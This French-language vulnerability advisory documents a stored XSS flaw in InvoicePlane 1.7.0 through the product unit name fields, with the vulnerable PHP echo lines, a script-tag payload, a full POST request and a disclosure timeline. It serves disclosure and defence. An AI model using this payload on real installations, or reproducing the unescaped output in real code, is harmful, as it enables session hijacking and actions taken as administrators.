
Preuve de concept pour une vulnérabilité XSS stockée dans InvoicePlane 1.7.0 via le champ du nom d'unité de produit, incluant les emplacements de code vulnérables et les étapes de reproduction.
Vulnérabilité : Cross-Site Scripting (XSS) stocké via le champ Nom d'unité de produit
Produit : InvoicePlane
Version affectée : 1.7.0 (et probablement les versions antérieures)
Sévérité : Moyenne
Score CVSS 3.1 : 4,8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE : CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération d'une page Web
Découvert par : Leonidas Agathos
Date du rapport : 2026-01-31
Les champs unit_name et unit_name_plrl du formulaire d'unité de produit (/index.php/units/form) acceptent une entrée arbitraire sans assainissement. Les valeurs sont stockées et rendues non encodées dans la liste des éléments de facture lors de la consultation de toute facture contenant un produit utilisant l'unité malveillante.
Fichiers vulnérables :
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Ligne 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Ligne 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
Étape 1 — Injecter la charge utile dans le Nom d'unité
Accédez à /index.php/units/form et soumettez ce qui suit comme Nom d'unité :
<script>alert("XSS in Product Unit")</script>
Requête :
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

Étape 2 — Déclencher le XSS
/index.php/products/form/1 ou consultez n'importe quelle facture contenant le produitLa charge utile se déclenche lorsque la liste des éléments est rendue.

La charge utile s'exécute dans le navigateur de tout administrateur qui consulte une facture ou une page de produit incluant l'unité malveillante. Cela permet le détournement de session (si les cookies ne sont pas HttpOnly), le vol de jetons CSRF et des actions effectuées sous l'identité de la victime.
| Date | Événement |
|---|---|
| 2026-01-30 | Vulnérabilité découverte |
| 2026-01-31 | Preuve de concept développée |
| 2026-01-31 | Fournisseur notifié |
| 2026-02-04 | Accusé de réception du fournisseur |
| 2026-02-04 | Correctif publié |
| 2026-02-05 | Divulgation publique |
Cette vulnérabilité a été découverte lors d'une recherche en sécurité indépendante. Toutes les informations sont fournies strictement à des fins éducatives, de recherche et de défense afin d'aider le fournisseur et la communauté de la sécurité à comprendre et à corriger le problème. Toute utilisation malveillante de ces informations est strictement interdite.